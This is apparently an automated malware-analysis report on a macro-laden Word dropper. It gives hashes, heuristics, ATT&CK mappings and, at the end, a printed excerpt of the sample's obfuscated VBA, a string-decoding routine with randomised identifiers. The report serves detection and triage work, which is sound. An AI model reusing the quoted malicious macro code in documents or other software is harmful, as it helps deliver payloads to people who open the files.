Doc.Dropper.Agent-6400445-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 775fce2422c51dd8…

MALICIOUS

Office (OLE)

77.0 KB Created: 2016-05-09 21:39:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 6eac640982a2424e5ec31e202b7f621e SHA-1: 663fe886cb205bed1f15108dc13ed6d04df0b57a SHA-256: 775fce2422c51dd8477b7c4bdc3884f53937f6fbf4fd50eaf18f8e8e64c8acd7
204 Risk Score

Malware Insights

Doc.Dropper.Agent-6400445-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The heuristic OLE_VBA_PCODE_AUTOEXEC_EXEC indicates that the macro is designed to execute automatically upon opening the document, likely via the Document_Open event. The presence of the SC_STR_WSCRIPT heuristic and the ClamAV detection name 'Doc.Dropper.Agent-6400445-0' suggest that the macro's purpose is to download and execute a secondary payload. No specific URLs or further execution details were extracted from the obfuscated VBA code.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6400445-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6400445-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 78,848 bytes but its declared streams total only 46,489 bytes — 32,359 bytes (41%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 565 bytes
SHA-256: 80718bb75aed53605dfc6e21dc2a0a8a945aa3697ae8e44179f48483a2f15aa2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
13 of 23 identifiers look randomly generated (e.g. 'qPBDAw5Y3ISHxqcQtQI') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SDQwAf"
Public Function KMHtnZts(ByVal ExLlZGoRxK As String, ByVal XmKsSpsVm As String) As String
Dim KlchHhJ As Boolean
Dim pbcyRNxK As String, IBGFmd As String
For xeuqGsa = 1 To Len(ExLlZGoRxK)
KlchHhJ = HEHDflRMs.PeQGQjBb(HEHDflRMs.kFVizBvF(xeuqGsa, ExLlZGoRxK), XOJVsS, XmKsSpsVm)
If Not KlchHhJ Then
XQUKUIlGS = 9746
KMHtnZts = KMHtnZts & HEHDflRMs.kFVizBvF(xeuqGsa, ExLlZGoRxK)
End If
Next
End Function
Private Function XOJVsS() As String
IkmTucyV = "qPBDAw5Y3ISHxqcQtQI"
XOJVsS = "EBquhppeCxMlqleeezP895W"
End Function

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